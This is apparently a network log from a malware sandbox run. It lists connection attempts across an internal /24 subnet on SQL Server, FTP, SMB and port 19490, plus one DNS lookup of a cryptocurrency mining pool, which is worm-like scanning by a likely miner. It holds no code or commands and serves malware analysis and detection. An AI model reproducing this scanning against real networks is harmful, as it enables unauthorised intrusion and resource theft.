N/A 10.127.0.92:1433 tcp
N/A 10.127.0.93:1433 tcp
N/A 10.127.0.94:1433 tcp
N/A 10.127.0.96:1433 tcp
N/A 10.127.0.95:1433 tcp
N/A 10.127.0.97:1433 tcp
N/A 10.127.0.99:1433 tcp
N/A 10.127.0.98:1433 tcp
N/A 10.127.0.101:1433 tcp
N/A 10.127.0.100:1433 tcp
N/A 10.127.0.103:1433 tcp
N/A 10.127.0.102:1433 tcp
N/A 10.127.0.104:1433 tcp
N/A 10.127.0.106:1433 tcp
N/A 10.127.0.105:1433 tcp
N/A 10.127.0.108:19490 tcp
N/A 10.127.0.107:1433 tcp
N/A 10.127.0.109:1433 tcp
N/A 10.127.0.110:1433 tcp
N/A 10.127.0.111:1433 tcp
N/A 10.127.0.112:1433 tcp
N/A 10.127.0.113:1433 tcp
N/A 10.127.0.114:1433 tcp
N/A 10.127.0.116:1433 tcp
N/A 10.127.0.115:1433 tcp
N/A 10.127.0.117:1433 tcp
N/A 10.127.0.120:1433 tcp
N/A 10.127.0.119:1433 tcp
N/A 10.127.0.118:1433 tcp
N/A 10.127.0.121:1433 tcp
N/A 10.127.0.122:1433 tcp
N/A 10.127.0.123:1433 tcp
N/A 10.127.0.124:1433 tcp
N/A 10.127.0.125:1433 tcp
N/A 10.127.0.126:1433 tcp
N/A 10.127.0.127:1433 tcp
N/A 10.127.0.128:1433 tcp
N/A 10.127.0.130:1433 tcp
N/A 10.127.0.129:1433 tcp
N/A 10.127.0.132:1433 tcp
N/A 10.127.0.131:1433 tcp
N/A 10.127.0.133:1433 tcp
N/A 10.127.0.134:1433 tcp
N/A 10.127.0.135:1433 tcp
N/A 10.127.0.136:1433 tcp
N/A 10.127.0.139:1433 tcp
N/A 10.127.0.137:1433 tcp
N/A 10.127.0.138:1433 tcp
N/A 10.127.0.140:1433 tcp
N/A 10.127.0.142:1433 tcp
N/A 10.127.0.141:1433 tcp
N/A 10.127.0.143:1433 tcp
N/A 10.127.0.144:1433 tcp
N/A 10.127.0.145:1433 tcp
N/A 10.127.0.146:1433 tcp
N/A 10.127.0.147:1433 tcp
N/A 10.127.0.149:1433 tcp
N/A 10.127.0.148:1433 tcp
N/A 10.127.0.150:1433 tcp
N/A 10.127.0.151:1433 tcp
N/A 10.127.0.152:1433 tcp
N/A 10.127.0.153:1433 tcp
N/A 10.127.0.154:1433 tcp
N/A 10.127.0.156:1433 tcp
N/A 10.127.0.155:1433 tcp
N/A 10.127.0.157:1433 tcp
N/A 10.127.0.0:21 tcp
N/A 10.127.0.158:1433 tcp
N/A 10.127.0.159:1433 tcp
N/A 10.127.0.160:1433 tcp
N/A 10.127.0.1:21 tcp
N/A 10.127.0.163:1433 tcp
N/A 10.127.0.161:1433 tcp
N/A 10.127.0.162:1433 tcp
N/A 10.127.0.3:21 tcp
N/A 10.127.0.2:21 tcp
N/A 10.127.0.164:1433 tcp
N/A 10.127.0.4:21 tcp
N/A 10.127.0.5:21 tcp
N/A 10.127.0.165:1433 tcp
N/A 10.127.0.166:1433 tcp
N/A 10.127.0.167:1433 tcp
N/A 10.127.0.6:21 tcp
N/A 10.127.0.7:21 tcp
N/A 10.127.0.169:1433 tcp
N/A 10.127.0.168:1433 tcp
N/A 10.127.0.8:21 tcp
N/A 10.127.0.170:1433 tcp
N/A 10.127.0.10:21 tcp
N/A 10.127.0.9:21 tcp
N/A 10.127.0.171:1433 tcp
N/A 10.127.0.172:1433 tcp
N/A 10.127.0.11:21 tcp
N/A 10.127.0.174:1433 tcp
N/A 10.127.0.173:1433 tcp
N/A 10.127.0.13:21 tcp
N/A 10.127.0.12:21 tcp
N/A 10.127.0.175:1433 tcp
N/A 10.127.0.14:21 tcp
N/A 10.127.0.15:21 tcp
N/A 10.127.0.176:1433 tcp
N/A 10.127.0.16:21 tcp
N/A 10.127.0.177:1433 tcp
N/A 10.127.0.178:1433 tcp
N/A 10.127.0.179:1433 tcp
N/A 10.127.0.17:21 tcp
N/A 10.127.0.19:21 tcp
N/A 10.127.0.18:21 tcp
N/A 10.127.0.181:1433 tcp
N/A 10.127.0.180:1433 tcp
N/A 10.127.0.182:1433 tcp
N/A 10.127.0.20:21 tcp
N/A 10.127.0.184:1433 tcp
N/A 10.127.0.183:1433 tcp
N/A 10.127.0.186:1433 tcp
N/A 10.127.0.185:1433 tcp
N/A 10.127.0.187:1433 tcp
N/A 10.127.0.188:1433 tcp
N/A 10.127.0.189:1433 tcp
N/A 10.127.0.190:1433 tcp
N/A 10.127.0.191:1433 tcp
N/A 10.127.0.192:1433 tcp
N/A 10.127.0.21:21 tcp
N/A 10.127.0.194:1433 tcp
N/A 10.127.0.193:1433 tcp
N/A 10.127.0.22:21 tcp
N/A 10.127.0.195:1433 tcp
N/A 10.127.0.196:1433 tcp
N/A 10.127.0.23:21 tcp
N/A 10.127.0.198:1433 tcp
N/A 10.127.0.197:1433 tcp
N/A 10.127.0.199:1433 tcp
N/A 10.127.0.24:21 tcp
N/A 10.127.0.200:1433 tcp
N/A 10.127.0.201:1433 tcp
N/A 10.127.0.202:1433 tcp
N/A 10.127.0.203:1433 tcp
N/A 10.127.0.204:1433 tcp
N/A 10.127.0.205:1433 tcp
N/A 10.127.0.206:1433 tcp
N/A 10.127.0.208:1433 tcp
N/A 10.127.0.207:1433 tcp
N/A 10.127.0.209:1433 tcp
N/A 10.127.0.211:1433 tcp
N/A 10.127.0.210:1433 tcp
N/A 10.127.0.212:1433 tcp
N/A 10.127.0.213:1433 tcp
N/A 10.127.0.214:1433 tcp
N/A 10.127.0.25:21 tcp
N/A 10.127.0.215:1433 tcp
N/A 10.127.0.216:1433 tcp
N/A 10.127.0.26:21 tcp
N/A 10.127.0.217:1433 tcp
N/A 10.127.0.218:1433 tcp
N/A 10.127.0.27:21 tcp
N/A 10.127.0.219:1433 tcp
N/A 10.127.0.28:21 tcp
N/A 10.127.0.221:1433 tcp
N/A 10.127.0.220:1433 tcp
N/A 10.127.0.29:21 tcp
N/A 10.127.0.30:21 tcp
N/A 10.127.0.31:21 tcp
N/A 10.127.0.222:1433 tcp
N/A 10.127.0.224:1433 tcp
N/A 10.127.0.223:1433 tcp
N/A 10.127.0.32:21 tcp
N/A 10.127.0.33:21 tcp
N/A 10.127.0.225:1433 tcp
N/A 10.127.0.35:21 tcp
N/A 10.127.0.34:21 tcp
N/A 10.127.0.228:1433 tcp
N/A 10.127.0.227:1433 tcp
N/A 10.127.0.226:1433 tcp
N/A 10.127.0.36:21 tcp
N/A 10.127.0.229:1433 tcp
N/A 10.127.0.37:21 tcp
N/A 10.127.0.38:21 tcp
N/A 10.127.0.231:1433 tcp
N/A 10.127.0.230:1433 tcp
N/A 10.127.0.39:21 tcp
N/A 10.127.0.233:1433 tcp
N/A 10.127.0.232:1433 tcp
N/A 10.127.0.40:21 tcp
N/A 10.127.0.234:1433 tcp
N/A 10.127.0.41:21 tcp
N/A 10.127.0.235:1433 tcp
N/A 10.127.0.42:21 tcp
N/A 10.127.0.236:1433 tcp
N/A 10.127.0.43:21 tcp
N/A 10.127.0.45:21 tcp
N/A 10.127.0.44:21 tcp
N/A 10.127.0.237:1433 tcp
N/A 10.127.0.238:1433 tcp
N/A 10.127.0.239:1433 tcp
N/A 10.127.0.46:21 tcp
N/A 10.127.0.240:1433 tcp
N/A 10.127.0.47:21 tcp
N/A 10.127.0.48:21 tcp
N/A 10.127.0.242:1433 tcp
N/A 10.127.0.241:1433 tcp
N/A 10.127.0.49:21 tcp
N/A 10.127.0.243:1433 tcp
N/A 10.127.0.244:1433 tcp
N/A 10.127.0.50:21 tcp
N/A 10.127.0.51:21 tcp
N/A 10.127.0.52:21 tcp
N/A 10.127.0.246:1433 tcp
N/A 10.127.0.245:1433 tcp
N/A 10.127.0.54:21 tcp
N/A 10.127.0.53:21 tcp
N/A 10.127.0.247:1433 tcp
N/A 10.127.0.249:1433 tcp
N/A 10.127.0.248:1433 tcp
N/A 10.127.0.55:21 tcp
N/A 10.127.0.56:21 tcp
N/A 10.127.0.250:1433 tcp
N/A 10.127.0.57:21 tcp
N/A 10.127.0.58:21 tcp
N/A 10.127.0.60:21 tcp
N/A 10.127.0.59:21 tcp
N/A 10.127.0.252:1433 tcp
N/A 10.127.0.253:1433 tcp
N/A 10.127.0.251:1433 tcp
N/A 10.127.0.254:1433 tcp
N/A 10.127.0.61:21 tcp
N/A 10.127.0.62:21 tcp
N/A 10.127.0.63:21 tcp
N/A 10.127.0.64:21 tcp
N/A 10.127.0.65:21 tcp
N/A 10.127.0.66:21 tcp
N/A 10.127.0.67:21 tcp
N/A 10.127.0.68:21 tcp
N/A 10.127.0.69:21 tcp
N/A 10.127.0.70:21 tcp
N/A 10.127.0.73:21 tcp
N/A 10.127.0.71:21 tcp
N/A 10.127.0.72:21 tcp
N/A 10.127.0.75:21 tcp
N/A 10.127.0.74:21 tcp
N/A 10.127.0.77:21 tcp
N/A 10.127.0.76:21 tcp
N/A 10.127.0.78:21 tcp
N/A 10.127.0.79:21 tcp
N/A 10.127.0.81:21 tcp
N/A 10.127.0.82:21 tcp
N/A 10.127.0.80:21 tcp
N/A 10.127.0.83:21 tcp
N/A 10.127.0.84:21 tcp
N/A 10.127.0.85:21 tcp
N/A 10.127.0.86:21 tcp
N/A 10.127.0.87:21 tcp
N/A 10.127.0.88:21 tcp
N/A 10.127.0.89:21 tcp
N/A 10.127.0.90:21 tcp
N/A 10.127.0.91:21 tcp
N/A 10.127.0.92:21 tcp
N/A 10.127.0.94:21 tcp
N/A 10.127.0.93:21 tcp
N/A 10.127.0.95:21 tcp
N/A 10.127.0.96:21 tcp
N/A 10.127.0.97:21 tcp
N/A 10.127.0.98:21 tcp
N/A 10.127.0.99:21 tcp
N/A 10.127.0.101:21 tcp
N/A 10.127.0.100:21 tcp
N/A 10.127.0.103:21 tcp
N/A 10.127.0.102:21 tcp
N/A 10.127.0.104:21 tcp
N/A 10.127.0.105:21 tcp
N/A 10.127.0.106:21 tcp
N/A 10.127.0.107:21 tcp
N/A 10.127.0.109:21 tcp
N/A 10.127.0.110:21 tcp
N/A 10.127.0.112:21 tcp
N/A 10.127.0.111:21 tcp
N/A 10.127.0.114:21 tcp
N/A 10.127.0.113:21 tcp
N/A 10.127.0.116:21 tcp
N/A 10.127.0.115:21 tcp
N/A 10.127.0.120:21 tcp
N/A 10.127.0.117:21 tcp
N/A 10.127.0.119:21 tcp
N/A 10.127.0.118:21 tcp
N/A 10.127.0.121:21 tcp
N/A 10.127.0.122:21 tcp
N/A 10.127.0.124:21 tcp
N/A 10.127.0.123:21 tcp
N/A 10.127.0.125:21 tcp
N/A 10.127.0.126:21 tcp
N/A 10.127.0.127:21 tcp
N/A 10.127.0.128:21 tcp
N/A 10.127.0.130:21 tcp
N/A 10.127.0.129:21 tcp
N/A 10.127.0.131:21 tcp
N/A 10.127.0.132:21 tcp
N/A 10.127.0.133:21 tcp
N/A 10.127.0.134:21 tcp
N/A 10.127.0.135:21 tcp
N/A 10.127.0.136:21 tcp
N/A 10.127.0.138:21 tcp
N/A 10.127.0.139:21 tcp
N/A 10.127.0.137:21 tcp
N/A 10.127.0.140:21 tcp
N/A 10.127.0.141:21 tcp
N/A 10.127.0.142:21 tcp
N/A 10.127.0.143:21 tcp
N/A 10.127.0.144:21 tcp
N/A 10.127.0.145:21 tcp
N/A 10.127.0.146:21 tcp
N/A 10.127.0.147:21 tcp
N/A 10.127.0.148:21 tcp
N/A 10.127.0.149:21 tcp
N/A 10.127.0.150:21 tcp
N/A 10.127.0.151:21 tcp
N/A 10.127.0.153:21 tcp
N/A 10.127.0.152:21 tcp
N/A 10.127.0.154:21 tcp
N/A 10.127.0.156:21 tcp
N/A 10.127.0.155:21 tcp
N/A 10.127.0.157:21 tcp
N/A 10.127.0.0:19490 tcp
N/A 10.127.0.158:21 tcp
N/A 10.127.0.159:21 tcp
N/A 10.127.0.160:21 tcp
N/A 10.127.0.1:19490 tcp
N/A 10.127.0.3:19490 tcp
N/A 10.127.0.162:21 tcp
N/A 10.127.0.2:19490 tcp
N/A 10.127.0.161:21 tcp
N/A 10.127.0.163:21 tcp
N/A 10.127.0.164:21 tcp
N/A 10.127.0.5:19490 tcp
N/A 10.127.0.4:19490 tcp
N/A 10.127.0.165:21 tcp
N/A 10.127.0.7:19490 tcp
N/A 10.127.0.6:19490 tcp
N/A 10.127.0.167:21 tcp
N/A 10.127.0.166:21 tcp
N/A 10.127.0.168:21 tcp
N/A 10.127.0.169:21 tcp
N/A 10.127.0.8:19490 tcp
N/A 10.127.0.9:19490 tcp
N/A 10.127.0.10:19490 tcp
N/A 10.127.0.170:21 tcp
N/A 10.127.0.171:21 tcp
N/A 10.127.0.172:21 tcp
N/A 10.127.0.11:19490 tcp
N/A 10.127.0.12:19490 tcp
N/A 10.127.0.174:21 tcp
N/A 10.127.0.13:19490 tcp
N/A 10.127.0.173:21 tcp
N/A 10.127.0.14:19490 tcp
N/A 10.127.0.15:19490 tcp
N/A 10.127.0.175:21 tcp
N/A 10.127.0.176:21 tcp
N/A 10.127.0.16:19490 tcp
N/A 10.127.0.177:21 tcp
N/A 10.127.0.179:21 tcp
N/A 10.127.0.178:21 tcp
N/A 10.127.0.19:19490 tcp
N/A 10.127.0.18:19490 tcp
N/A 10.127.0.17:19490 tcp
N/A 10.127.0.181:21 tcp
N/A 10.127.0.180:21 tcp
N/A 10.127.0.182:21 tcp
N/A 10.127.0.20:19490 tcp
N/A 10.127.0.184:21 tcp
N/A 10.127.0.183:21 tcp
N/A 10.127.0.185:21 tcp
N/A 10.127.0.186:21 tcp
N/A 10.127.0.187:21 tcp
N/A 10.127.0.188:21 tcp
N/A 10.127.0.189:21 tcp
N/A 10.127.0.190:21 tcp
N/A 10.127.0.192:21 tcp
N/A 10.127.0.191:21 tcp
N/A 10.127.0.21:19490 tcp
N/A 10.127.0.193:21 tcp
N/A 10.127.0.22:19490 tcp
N/A 10.127.0.194:21 tcp
N/A 10.127.0.195:21 tcp
N/A 10.127.0.196:21 tcp
N/A 10.127.0.198:21 tcp
N/A 10.127.0.23:19490 tcp
N/A 10.127.0.197:21 tcp
N/A 10.127.0.24:19490 tcp
N/A 10.127.0.199:21 tcp
N/A 10.127.0.200:21 tcp
N/A 10.127.0.201:21 tcp
N/A 10.127.0.202:21 tcp
N/A 10.127.0.203:21 tcp
N/A 10.127.0.204:21 tcp
N/A 10.127.0.205:21 tcp
N/A 10.127.0.206:21 tcp
N/A 10.127.0.207:21 tcp
N/A 10.127.0.208:21 tcp
N/A 10.127.0.209:21 tcp
N/A 10.127.0.211:21 tcp
N/A 10.127.0.210:21 tcp
N/A 10.127.0.212:21 tcp
N/A 10.127.0.214:21 tcp
N/A 10.127.0.213:21 tcp
N/A 10.127.0.25:19490 tcp
N/A 10.127.0.216:21 tcp
N/A 10.127.0.215:21 tcp
N/A 10.127.0.26:19490 tcp
N/A 10.127.0.217:21 tcp
N/A 10.127.0.27:19490 tcp
N/A 10.127.0.218:21 tcp
N/A 10.127.0.28:19490 tcp
N/A 10.127.0.219:21 tcp
N/A 10.127.0.29:19490 tcp
N/A 10.127.0.220:21 tcp
N/A 10.127.0.221:21 tcp
N/A 10.127.0.30:19490 tcp
N/A 10.127.0.31:19490 tcp
N/A 10.127.0.224:21 tcp
N/A 10.127.0.222:21 tcp
N/A 10.127.0.223:21 tcp
N/A 10.127.0.33:19490 tcp
N/A 10.127.0.32:19490 tcp
N/A 10.127.0.225:21 tcp
N/A 10.127.0.35:19490 tcp
N/A 10.127.0.34:19490 tcp
N/A 10.127.0.226:21 tcp
N/A 10.127.0.227:21 tcp
N/A 10.127.0.228:21 tcp
N/A 10.127.0.36:19490 tcp
N/A 10.127.0.37:19490 tcp
N/A 10.127.0.38:19490 tcp
N/A 10.127.0.229:21 tcp
N/A 10.127.0.231:21 tcp
N/A 10.127.0.230:21 tcp
N/A 10.127.0.39:19490 tcp
N/A 10.127.0.40:19490 tcp
N/A 10.127.0.232:21 tcp
N/A 10.127.0.233:21 tcp
N/A 10.127.0.234:21 tcp
N/A 10.127.0.41:19490 tcp
N/A 10.127.0.42:19490 tcp
N/A 10.127.0.235:21 tcp
N/A 10.127.0.236:21 tcp
N/A 10.127.0.45:19490 tcp
N/A 10.127.0.44:19490 tcp
N/A 10.127.0.43:19490 tcp
N/A 10.127.0.237:21 tcp
N/A 10.127.0.46:19490 tcp
N/A 10.127.0.238:21 tcp
N/A 10.127.0.239:21 tcp
N/A 10.127.0.240:21 tcp
N/A 10.127.0.47:19490 tcp
N/A 10.127.0.48:19490 tcp
N/A 10.127.0.49:19490 tcp
N/A 10.127.0.242:21 tcp
N/A 10.127.0.241:21 tcp
N/A 10.127.0.244:21 tcp
N/A 10.127.0.243:21 tcp
N/A 10.127.0.52:19490 tcp
N/A 10.127.0.51:19490 tcp
N/A 10.127.0.50:19490 tcp
N/A 10.127.0.245:21 tcp
N/A 10.127.0.246:21 tcp
N/A 10.127.0.53:19490 tcp
N/A 10.127.0.54:19490 tcp
N/A 10.127.0.247:21 tcp
N/A 10.127.0.249:21 tcp
N/A 10.127.0.248:21 tcp
N/A 10.127.0.56:19490 tcp
N/A 10.127.0.55:19490 tcp
US 8.8.8.8:53 auto.c3pool.org udp
N/A 10.127.0.57:19490 tcp
N/A 10.127.0.250:21 tcp
N/A 10.127.0.59:19490 tcp
N/A 10.127.0.58:19490 tcp
N/A 10.127.0.60:19490 tcp
N/A 10.127.0.251:21 tcp
N/A 10.127.0.252:21 tcp
N/A 10.127.0.253:21 tcp
N/A 10.127.0.62:19490 tcp
N/A 10.127.0.61:19490 tcp
N/A 10.127.0.254:21 tcp
N/A 10.127.0.63:19490 tcp
N/A 10.127.0.65:19490 tcp
N/A 10.127.0.64:19490 tcp
N/A 10.127.0.66:19490 tcp
N/A 10.127.0.68:19490 tcp
N/A 10.127.0.67:19490 tcp
N/A 10.127.0.69:19490 tcp
N/A 10.127.0.72:19490 tcp
N/A 10.127.0.71:19490 tcp
N/A 10.127.0.73:19490 tcp
N/A 10.127.0.70:19490 tcp
N/A 10.127.0.74:19490 tcp
N/A 10.127.0.75:19490 tcp
N/A 10.127.0.77:19490 tcp
N/A 10.127.0.76:19490 tcp
N/A 10.127.0.78:19490 tcp
N/A 10.127.0.79:19490 tcp
N/A 10.127.0.82:19490 tcp
N/A 10.127.0.81:19490 tcp
N/A 10.127.0.80:19490 tcp
N/A 10.127.0.83:19490 tcp
N/A 10.127.0.84:19490 tcp
N/A 10.127.0.85:19490 tcp
N/A 10.127.0.86:19490 tcp
N/A 10.127.0.87:19490 tcp
N/A 10.127.0.89:19490 tcp
N/A 10.127.0.88:19490 tcp
N/A 10.127.0.91:19490 tcp
N/A 10.127.0.90:19490 tcp
N/A 10.127.0.92:19490 tcp
N/A 10.127.0.93:19490 tcp
N/A 10.127.0.94:19490 tcp
N/A 10.127.0.96:19490 tcp
N/A 10.127.0.95:19490 tcp
N/A 10.127.0.97:19490 tcp
N/A 10.127.0.99:19490 tcp
N/A 10.127.0.98:19490 tcp
N/A 10.127.0.100:19490 tcp
N/A 10.127.0.101:19490 tcp
N/A 10.127.0.103:19490 tcp
N/A 10.127.0.104:19490 tcp
N/A 10.127.0.102:19490 tcp
N/A 10.127.0.106:19490 tcp
N/A 10.127.0.105:19490 tcp
N/A 10.127.0.107:19490 tcp
N/A 10.127.0.109:19490 tcp
N/A 10.127.0.111:19490 tcp
N/A 10.127.0.110:19490 tcp
N/A 10.127.0.112:19490 tcp
N/A 10.127.0.114:19490 tcp
N/A 10.127.0.113:19490 tcp
N/A 10.127.0.115:19490 tcp
N/A 10.127.0.116:19490 tcp
N/A 10.127.0.118:19490 tcp
N/A 10.127.0.117:19490 tcp
N/A 10.127.0.120:19490 tcp
N/A 10.127.0.119:19490 tcp
N/A 10.127.0.121:19490 tcp
N/A 10.127.0.122:19490 tcp
N/A 10.127.0.123:19490 tcp
N/A 10.127.0.125:19490 tcp
N/A 10.127.0.124:19490 tcp
N/A 10.127.0.126:19490 tcp
N/A 10.127.0.127:19490 tcp
N/A 10.127.0.129:19490 tcp
N/A 10.127.0.128:19490 tcp
N/A 10.127.0.130:19490 tcp
N/A 10.127.0.131:19490 tcp
N/A 10.127.0.132:19490 tcp
N/A 10.127.0.133:19490 tcp
N/A 10.127.0.134:19490 tcp
N/A 10.127.0.135:19490 tcp
N/A 10.127.0.136:19490 tcp
N/A 10.127.0.137:19490 tcp
N/A 10.127.0.139:19490 tcp
N/A 10.127.0.140:19490 tcp
N/A 10.127.0.138:19490 tcp
N/A 10.127.0.141:19490 tcp
N/A 10.127.0.142:19490 tcp
N/A 10.127.0.143:19490 tcp
N/A 10.127.0.144:19490 tcp
N/A 10.127.0.145:19490 tcp
N/A 10.127.0.146:19490 tcp
N/A 10.127.0.149:19490 tcp
N/A 10.127.0.148:19490 tcp
N/A 10.127.0.147:19490 tcp
N/A 10.127.0.150:19490 tcp
N/A 10.127.0.153:19490 tcp
N/A 10.127.0.151:19490 tcp
N/A 10.127.0.152:19490 tcp
N/A 10.127.0.154:19490 tcp
N/A 10.127.0.155:19490 tcp
N/A 10.127.0.156:19490 tcp
N/A 10.127.0.157:19490 tcp
N/A 10.127.0.159:19490 tcp
N/A 10.127.0.158:19490 tcp
N/A 10.127.0.160:19490 tcp
N/A 10.127.0.163:19490 tcp
N/A 10.127.0.164:19490 tcp
N/A 10.127.0.161:19490 tcp
N/A 10.127.0.162:19490 tcp
N/A 10.127.0.165:19490 tcp
N/A 10.127.0.0:445 tcp
N/A 10.127.0.1:445 tcp
N/A 10.127.0.169:19490 tcp
N/A 10.127.0.2:445 tcp
N/A 10.127.0.3:445 tcp
N/A 10.127.0.5:445 tcp
N/A 10.127.0.4:445 tcp
N/A 10.127.0.167:19490 tcp
N/A 10.127.0.168:19490 tcp
N/A 10.127.0.166:19490 tcp
N/A 10.127.0.7:445 tcp
N/A 10.127.0.6:445 tcp
N/A 10.127.0.8:445 tcp
N/A 10.127.0.170:19490 tcp
N/A 10.127.0.10:445 tcp
N/A 10.127.0.9:445 tcp
N/A 10.127.0.171:19490 tcp
N/A 10.127.0.172:19490 tcp
N/A 10.127.0.11:445 tcp
N/A 10.127.0.173:19490 tcp
N/A 10.127.0.174:19490 tcp
N/A 10.127.0.12:445 tcp
N/A 10.127.0.13:445 tcp
N/A 10.127.0.175:19490 tcp
N/A 10.127.0.176:19490 tcp
N/A 10.127.0.14:445 tcp
N/A 10.127.0.16:445 tcp
N/A 10.127.0.15:445 tcp
N/A 10.127.0.177:19490 tcp
N/A 10.127.0.179:19490 tcp
N/A 10.127.0.178:19490 tcp
N/A 10.127.0.19:445 tcp
N/A 10.127.0.18:445 tcp
N/A 10.127.0.17:445 tcp
N/A 10.127.0.181:19490 tcp
N/A 10.127.0.180:19490 tcp
N/A 10.127.0.182:19490 tcp
N/A 10.127.0.20:445 tcp
N/A 10.127.0.183:19490 tcp
N/A 10.127.0.184:19490 tcp
N/A 10.127.0.187:19490 tcp
N/A 10.127.0.185:19490 tcp
N/A 10.127.0.186:19490 tcp
N/A 10.127.0.188:19490 tcp
N/A 10.127.0.189:19490 tcp
N/A 10.127.0.192:19490 tcp
N/A 10.127.0.191:19490 tcp
N/A 10.127.0.190:19490 tcp
N/A 10.127.0.193:19490 tcp
N/A 10.127.0.194:19490 tcp
N/A 10.127.0.21:445 tcp
N/A 10.127.0.22:445 tcp
N/A 10.127.0.195:19490 tcp
N/A 10.127.0.196:19490 tcp
N/A 10.127.0.197:19490 tcp
N/A 10.127.0.198:19490 tcp
N/A 10.127.0.23:445 tcp
N/A 10.127.0.199:19490 tcp
N/A 10.127.0.200:19490 tcp
N/A 10.127.0.24:445 tcp
N/A 10.127.0.201:19490 tcp
N/A 10.127.0.202:19490 tcp
N/A 10.127.0.203:19490 tcp
N/A 10.127.0.204:19490 tcp
N/A 10.127.0.205:19490 tcp
N/A 10.127.0.206:19490 tcp
N/A 10.127.0.208:19490 tcp
N/A 10.127.0.207:19490 tcp
N/A 10.127.0.209:19490 tcp
N/A 10.127.0.210:19490 tcp
N/A 10.127.0.211:19490 tcp
N/A 10.127.0.212:19490 tcp
N/A 10.127.0.213:19490 tcp
N/A 10.127.0.214:19490 tcp
N/A 10.127.0.25:445 tcp
N/A 10.127.0.216:19490 tcp
N/A 10.127.0.215:19490 tcp
N/A 10.127.0.26:445 tcp
N/A 10.127.0.218:19490 tcp
N/A 10.127.0.217:19490 tcp
N/A 10.127.0.27:445 tcp
N/A 10.127.0.221:19490 tcp
N/A 10.127.0.220:19490 tcp
N/A 10.127.0.219:19490 tcp
N/A 10.127.0.29:445 tcp
N/A 10.127.0.28:445 tcp
N/A 10.127.0.30:445 tcp
N/A 10.127.0.31:445 tcp
N/A 10.127.0.223:19490 tcp
N/A 10.127.0.224:19490 tcp
N/A 10.127.0.222:19490 tcp
N/A 10.127.0.32:445 tcp
N/A 10.127.0.33:445 tcp
N/A 10.127.0.0:139 tcp
N/A 10.127.0.1:139 tcp
N/A 10.127.0.2:139 tcp
N/A 10.127.0.3:139 tcp
N/A 10.127.0.4:139 tcp
N/A 10.127.0.5:139 tcp
N/A 10.127.0.235:19490 tcp
N/A 10.127.0.234:19490 tcp
N/A 10.127.0.233:19490 tcp
N/A 10.127.0.232:19490 tcp
N/A 10.127.0.230:19490 tcp
N/A 10.127.0.231:19490 tcp
N/A 10.127.0.228:19490 tcp
N/A 10.127.0.229:19490 tcp
N/A 10.127.0.227:19490 tcp
N/A 10.127.0.226:19490 tcp
N/A 10.127.0.225:19490 tcp
N/A 10.127.0.40:445 tcp
N/A 10.127.0.41:445 tcp
N/A 10.127.0.42:445 tcp
N/A 10.127.0.39:445 tcp
N/A 10.127.0.36:445 tcp
N/A 10.127.0.37:445 tcp
N/A 10.127.0.34:445 tcp
N/A 10.127.0.35:445 tcp
N/A 10.127.0.38:445 tcp
N/A 10.127.0.236:19490 tcp
N/A 10.127.0.45:445 tcp
N/A 10.127.0.44:445 tcp
N/A 10.127.0.43:445 tcp
N/A 10.127.0.6:139 tcp
N/A 10.127.0.7:139 tcp
N/A 10.127.0.8:139 tcp
N/A 10.127.0.10:139 tcp
N/A 10.127.0.9:139 tcp
N/A 10.127.0.11:139 tcp
N/A 10.127.0.243:19490 tcp
N/A 10.127.0.241:19490 tcp
N/A 10.127.0.244:19490 tcp
N/A 10.127.0.242:19490 tcp
N/A 10.127.0.240:19490 tcp
N/A 10.127.0.239:19490 tcp
N/A 10.127.0.238:19490 tcp
N/A 10.127.0.237:19490 tcp
N/A 10.127.0.46:445 tcp
N/A 10.127.0.47:445 tcp
N/A 10.127.0.48:445 tcp
N/A 10.127.0.49:445 tcp
N/A 10.127.0.12:139 tcp
N/A 10.127.0.13:139 tcp
N/A 10.127.0.52:445 tcp
N/A 10.127.0.51:445 tcp
N/A 10.127.0.50:445 tcp
N/A 10.127.0.15:139 tcp
N/A 10.127.0.16:139 tcp
N/A 10.127.0.14:139 tcp
N/A 10.127.0.245:19490 tcp
N/A 10.127.0.246:19490 tcp
N/A 10.127.0.54:445 tcp
N/A 10.127.0.53:445 tcp
N/A 10.127.0.247:19490 tcp
N/A 10.127.0.249:19490 tcp
N/A 10.127.0.248:19490 tcp
N/A 10.127.0.55:445 tcp
N/A 10.127.0.56:445 tcp
N/A 10.127.0.250:19490 tcp
N/A 10.127.0.57:445 tcp
N/A 10.127.0.19:139 tcp
N/A 10.127.0.17:139 tcp
N/A 10.127.0.18:139 tcp
N/A 10.127.0.58:445 tcp
N/A 10.127.0.60:445 tcp
N/A 10.127.0.59:445 tcp
N/A 10.127.0.253:19490 tcp
N/A 10.127.0.251:19490 tcp
N/A 10.127.0.252:19490 tcp
N/A 10.127.0.20:139 tcp
N/A 10.127.0.254:19490 tcp
N/A 10.127.0.62:445 tcp
N/A 10.127.0.61:445 tcp
N/A 10.127.0.63:445 tcp
N/A 10.127.0.65:445 tcp
N/A 10.127.0.64:445 tcp
N/A 10.127.0.66:445 tcp
N/A 10.127.0.67:445 tcp
N/A 10.127.0.68:445 tcp
N/A 10.127.0.69:445 tcp
N/A 10.127.0.21:139 tcp
N/A 10.127.0.22:139 tcp
N/A 10.127.0.71:445 tcp
N/A 10.127.0.70:445 tcp
N/A 10.127.0.72:445 tcp
N/A 10.127.0.73:445 tcp
N/A 10.127.0.74:445 tcp
N/A 10.127.0.75:445 tcp
N/A 10.127.0.23:139 tcp
N/A 10.127.0.77:445 tcp
N/A 10.127.0.76:445 tcp
N/A 10.127.0.24:139 tcp
N/A 10.127.0.78:445 tcp
N/A 10.127.0.79:445 tcp
N/A 10.127.0.82:445 tcp
N/A 10.127.0.81:445 tcp
N/A 10.127.0.80:445 tcp
N/A 10.127.0.83:445 tcp
N/A 10.127.0.84:445 tcp
N/A 10.127.0.85:445 tcp
N/A 10.127.0.86:445 tcp
N/A 10.127.0.87:445 tcp
N/A 10.127.0.89:445 tcp
N/A 10.127.0.88:445 tcp
N/A 10.127.0.25:139 tcp
N/A 10.127.0.92:445 tcp
N/A 10.127.0.90:445 tcp
N/A 10.127.0.91:445 tcp
N/A 10.127.0.26:139 tcp
N/A 10.127.0.93:445 tcp
N/A 10.127.0.94:445 tcp
N/A 10.127.0.27:139 tcp
N/A 10.127.0.96:445 tcp
N/A 10.127.0.95:445 tcp
N/A 10.127.0.29:139 tcp
N/A 10.127.0.28:139 tcp
N/A 10.127.0.97:445 tcp
N/A 10.127.0.31:139 tcp
N/A 10.127.0.30:139 tcp
N/A 10.127.0.98:445 tcp
N/A 10.127.0.99:445 tcp
N/A 10.127.0.101:445 tcp
N/A 10.127.0.100:445 tcp
N/A 10.127.0.32:139 tcp
N/A 10.127.0.33:139 tcp
N/A 10.127.0.104:445 tcp
